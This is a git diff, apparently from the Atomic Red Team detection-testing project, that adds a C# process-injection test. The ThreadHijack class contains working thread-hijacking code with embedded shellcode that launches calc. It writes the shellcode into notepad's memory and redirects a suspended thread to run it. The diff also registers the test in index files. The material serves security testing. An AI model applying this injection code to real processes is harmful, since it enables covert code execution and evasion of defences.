+ [FieldOffset(16)]
+ public UInt32 SizeOfRawData;
+ [FieldOffset(20)]
+ public UInt32 PointerToRawData;
+ [FieldOffset(24)]
+ public UInt32 PointerToRelocations;
+ [FieldOffset(28)]
+ public UInt32 PointerToLinenumbers;
+ [FieldOffset(32)]
+ public UInt16 NumberOfRelocations;
+ [FieldOffset(34)]
+ public UInt16 NumberOfLinenumbers;
+ [FieldOffset(36)]
+ public DataSectionFlags Characteristics;
+
+ public string Section
+ {
+ get { return new string(Name); }
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_IMPORT_DESCRIPTOR
+ {
+ public uint OriginalFirstThunk;
+ public uint TimeDateStamp;
+ public uint ForwarderChain;
+ public uint Name;
+ public uint FirstThunk;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_BASE_RELOCATION
+ {
+ public uint VirtualAdress;
+ public uint SizeOfBlock;
+ }
+
+ [Flags]
+ public enum DataSectionFlags : uint
+ {
+
+ Stub = 0x00000000,
+
+ }
+
+ public static T FromBinaryReader(BinaryReader reader)
+ {
+ // Read in a byte array
+ byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
+
+ // Pin the managed memory while, copy it out the data, then unpin it
+ GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
+ T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
+ handle.Free();
+
+ return theStructure;
+ }
+
+
+ public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader)
+ {
+ UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
+ return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
+ }
+
+
+ // Process privileges
+ public const int PROCESS_CREATE_THREAD = 0x0002;
+ public const int PROCESS_QUERY_INFORMATION = 0x0400;
+ public const int PROCESS_VM_OPERATION = 0x0008;
+ public const int PROCESS_VM_WRITE = 0x0020;
+ public const int PROCESS_VM_READ = 0x0010;
+ public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
+
+ // Memory permissions
+ public const uint MEM_COMMIT = 0x00001000;
+ public const uint MEM_RESERVE = 0x00002000;
+ public const uint PAGE_READWRITE = 0x04;
+ public const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
+
+ [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ public static extern IntPtr LoadLibrary(string lpFileName);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+ public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+}
+
+public class ThreadHijack
+{
+ // Import API Functions
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll")]
+ static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
+
+ [DllImport("kernel32.dll")]
+ static extern uint SuspendThread(IntPtr hThread);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
+
+ [DllImport("kernel32.dll")]
+ static extern int ResumeThread(IntPtr hThread);
+
+ [DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)]
+ static extern bool CloseHandle(IntPtr handle);
+
+ [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+ static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+ [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
+ static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
+
+
+ // Process privileges
+ const int PROCESS_CREATE_THREAD = 0x0002;
+ const int PROCESS_QUERY_INFORMATION = 0x0400;
+ const int PROCESS_VM_OPERATION = 0x0008;
+ const int PROCESS_VM_WRITE = 0x0020;
+ const int PROCESS_VM_READ = 0x0010;
+
+ // Memory permissions
+ const uint MEM_COMMIT = 0x00001000;
+ const uint MEM_RESERVE = 0x00002000;
+ const uint PAGE_READWRITE = 4;
+ const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+ [Flags]
+ public enum ThreadAccess : int
+ {
+ TERMINATE = (0x0001),
+ SUSPEND_RESUME = (0x0002),
+ GET_CONTEXT = (0x0008),
+ SET_CONTEXT = (0x0010),
+ SET_INFORMATION = (0x0020),
+ QUERY_INFORMATION = (0x0040),
+ SET_THREAD_TOKEN = (0x0080),
+ IMPERSONATE = (0x0100),
+ DIRECT_IMPERSONATION = (0x0200),
+ THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
+ THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
+ }
+
+ public enum CONTEXT_FLAGS : uint
+ {
+ CONTEXT_i386 = 0x10000,
+ CONTEXT_i486 = 0x10000, // same as i386
+ CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
+ CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
+ CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
+ CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
+ CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
+ CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
+ CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
+ CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
+ }
+
+ // x86 float save
+ [StructLayout(LayoutKind.Sequential)]
+ public struct FLOATING_SAVE_AREA
+ {
+ public uint ControlWord;
+ public uint StatusWord;
+ public uint TagWord;
+ public uint ErrorOffset;
+ public uint ErrorSelector;
+ public uint DataOffset;
+ public uint DataSelector;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
+ public byte[] RegisterArea;
+ public uint Cr0NpxState;
+ }
+
+ // x86 context structure (not used in this example)
+ [StructLayout(LayoutKind.Sequential)]
+ public struct CONTEXT
+ {
+ public uint ContextFlags; //set this to an appropriate value
+ // Retrieved by CONTEXT_DEBUG_REGISTERS
+ public uint Dr0;
+ public uint Dr1;
+ public uint Dr2;
+ public uint Dr3;
+ public uint Dr6;
+ public uint Dr7;
+ // Retrieved by CONTEXT_FLOATING_POINT
+ public FLOATING_SAVE_AREA FloatSave;
+ // Retrieved by CONTEXT_SEGMENTS
+ public uint SegGs;
+ public uint SegFs;
+ public uint SegEs;
+ public uint SegDs;
+ // Retrieved by CONTEXT_INTEGER
+ public uint Edi;
+ public uint Esi;
+ public uint Ebx;
+ public uint Edx;
+ public uint Ecx;
+ public uint Eax;
+ // Retrieved by CONTEXT_CONTROL
+ public uint Ebp;
+ public uint Eip;
+ public uint SegCs;
+ public uint EFlags;
+ public uint Esp;
+ public uint SegSs;
+ // Retrieved by CONTEXT_EXTENDED_REGISTERS
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
+ public byte[] ExtendedRegisters;
+ }
+
+ // x64 m128a
+ [StructLayout(LayoutKind.Sequential)]
+ public struct M128A
+ {
+ public ulong High;
+ public long Low;
+
+ public override string ToString()
+ {
+ return string.Format("High:{0}, Low:{1}", this.High, this.Low);
+ }
+ }
+
+ // x64 save format
+ [StructLayout(LayoutKind.Sequential, Pack = 16)]
+ public struct XSAVE_FORMAT64
+ {
+ public ushort ControlWord;
+ public ushort StatusWord;
+ public byte TagWord;
+ public byte Reserved1;
+ public ushort ErrorOpcode;
+ public uint ErrorOffset;
+ public ushort ErrorSelector;
+ public ushort Reserved2;
+ public uint DataOffset;
+ public ushort DataSelector;
+ public ushort Reserved3;
+ public uint MxCsr;
+ public uint MxCsr_Mask;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+ public M128A[] FloatRegisters;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
+ public M128A[] XmmRegisters;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
+ public byte[] Reserved4;
+ }
+
+ // x64 context structure
+ [StructLayout(LayoutKind.Sequential, Pack = 16)]
+ public struct CONTEXT64
+ {
+ public ulong P1Home;
+ public ulong P2Home;
+ public ulong P3Home;
+ public ulong P4Home;
+ public ulong P5Home;
+ public ulong P6Home;
+
+ public CONTEXT_FLAGS ContextFlags;
+ public uint MxCsr;
+
+ public ushort SegCs;
+ public ushort SegDs;
+ public ushort SegEs;
+ public ushort SegFs;
+ public ushort SegGs;
+ public ushort SegSs;
+ public uint EFlags;
+
+ public ulong Dr0;
+ public ulong Dr1;
+ public ulong Dr2;
+ public ulong Dr3;
+ public ulong Dr6;
+ public ulong Dr7;
+
+ public ulong Rax;
+ public ulong Rcx;
+ public ulong Rdx;
+ public ulong Rbx;
+ public ulong Rsp;
+ public ulong Rbp;
+ public ulong Rsi;
+ public ulong Rdi;
+ public ulong R8;
+ public ulong R9;
+ public ulong R10;
+ public ulong R11;
+ public ulong R12;
+ public ulong R13;
+ public ulong R14;
+ public ulong R15;
+ public ulong Rip;
+
+ public XSAVE_FORMAT64 DUMMYUNIONNAME;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
+ public M128A[] VectorRegister;
+ public ulong VectorControl;
+
+ public ulong DebugControl;
+ public ulong LastBranchToRip;
+ public ulong LastBranchFromRip;
+ public ulong LastExceptionToRip;
+ public ulong LastExceptionFromRip;
+ }
+
+ public static int Inject()
+ {
+ // Get target process by name
+
+ Process targetProcess = Process.GetProcessesByName("notepad")[0];
+
+
+ // Open and Suspend first thread
+ ProcessThread pT = targetProcess.Threads[0];
+
+ IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);
+ SuspendThread(pOpenThread);
+
+ // Get thread context
+ CONTEXT64 tContext = new CONTEXT64();
+ tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
+ if (GetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+
+ // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
+ // Compiled with:
+ // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
+ byte[] payload = new byte[112] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
+ };
+
+ // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
+ byte[] mov_rax = new byte[2] {
+ 0x48, 0xb8
+ };
+ byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
+ byte[] jmp_rax = new byte[2] {
+ 0xff, 0xe0
+ };
+
+ // Build shellcode
+ byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
+ payload.CopyTo(shellcode, 0);
+ mov_rax.CopyTo(shellcode, payload.Length);
+ jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
+ jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
+
+ // OpenProcess to allocate memory
+ IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
+
+ // Allocate memory for shellcode within process
+ IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+
+ // Write shellcode within process
+ UIntPtr bytesWritten;
+ bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
+
+ // Read memory to view shellcode
+ int bytesRead = 0;
+ byte[] buffer = new byte[shellcode.Length];
+ ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
+
+ // Set context EIP to location of shellcode
+ tContext.Rip=(ulong)allocMemAddress.ToInt64();
+
+ // Apply new context to suspended thread
+ if(!SetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+ if (GetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+ // Resume the thread, redirecting execution to shellcode, then back to original process
+
+ ResumeThread(pOpenThread);
+
+ return 0;
+ }
+}
+
+public class Program
+{
+ public static void Main()
+ {
+ //Test One:
+ Console.WriteLine("{0}", "#1 ProcessInject");
+ ProcessInject.Inject();
+ Console.WriteLine("{0}", "ProcessInject Complete");
+ //Test Two:
+ Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess");
+ ApcInjectionAnyProcess.Inject();
+ Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete");
+ //Test Three:
+ Console.WriteLine("{0}", "#3 ApcInjectionNewProcess");
+ ApcInjectionNewProcess.Inject();
+ Console.WriteLine("{0}", "ApcInjectionNewProcess Complete");
+ //Test Four:
+ Console.WriteLine("{0}", "#4 IatInjection");
+ IatInjection.Inject();
+ Console.WriteLine("{0}", "IatInjection Complete");
+ //Test Five:
+ Console.WriteLine("{0}", "#5 ThreadHijack");
+ ThreadHijack.Inject();
+ Console.WriteLine("{0}", "ThreadHijack Complete ");
+
+ }
+
+}
diff --git a/atomics/index.md b/atomics/index.md
index 0cb0b8b7..f432f1d3 100644
--- a/atomics/index.md
+++ b/atomics/index.md
@@ -287,6 +287,7 @@
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
@@ -373,6 +374,7 @@
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1053 Scheduled Task](./T1053/T1053.md)
- Atomic Test #1: At.exe Scheduled task [windows]
diff --git a/atomics/index.yaml b/atomics/index.yaml
index b00d80c0..bdd93e74 100644
--- a/atomics/index.yaml
+++ b/atomics/index.yaml
@@ -7942,6 +7942,26 @@ defense-evasion:
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
+ - name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+ supported_platforms:
+ - windows
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: ".\\bin\\#{exe_binary}\n"
T1121:
technique:
id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302
@@ -10626,6 +10646,26 @@ privilege-escalation:
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
+ - name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+ supported_platforms:
+ - windows
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: ".\\bin\\#{exe_binary}\n"
T1053:
technique:
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
diff --git a/atomics/windows-index.md b/atomics/windows-index.md
index 6c71eaf5..c6cfdf2f 100644
--- a/atomics/windows-index.md
+++ b/atomics/windows-index.md
@@ -92,6 +92,7 @@
- [T1055 Process Injection](./T1055/T1055.md)
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
@@ -163,6 +164,7 @@
- [T1055 Process Injection](./T1055/T1055.md)
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1053 Scheduled Task](./T1053/T1053.md)
- Atomic Test #1: At.exe Scheduled task [windows]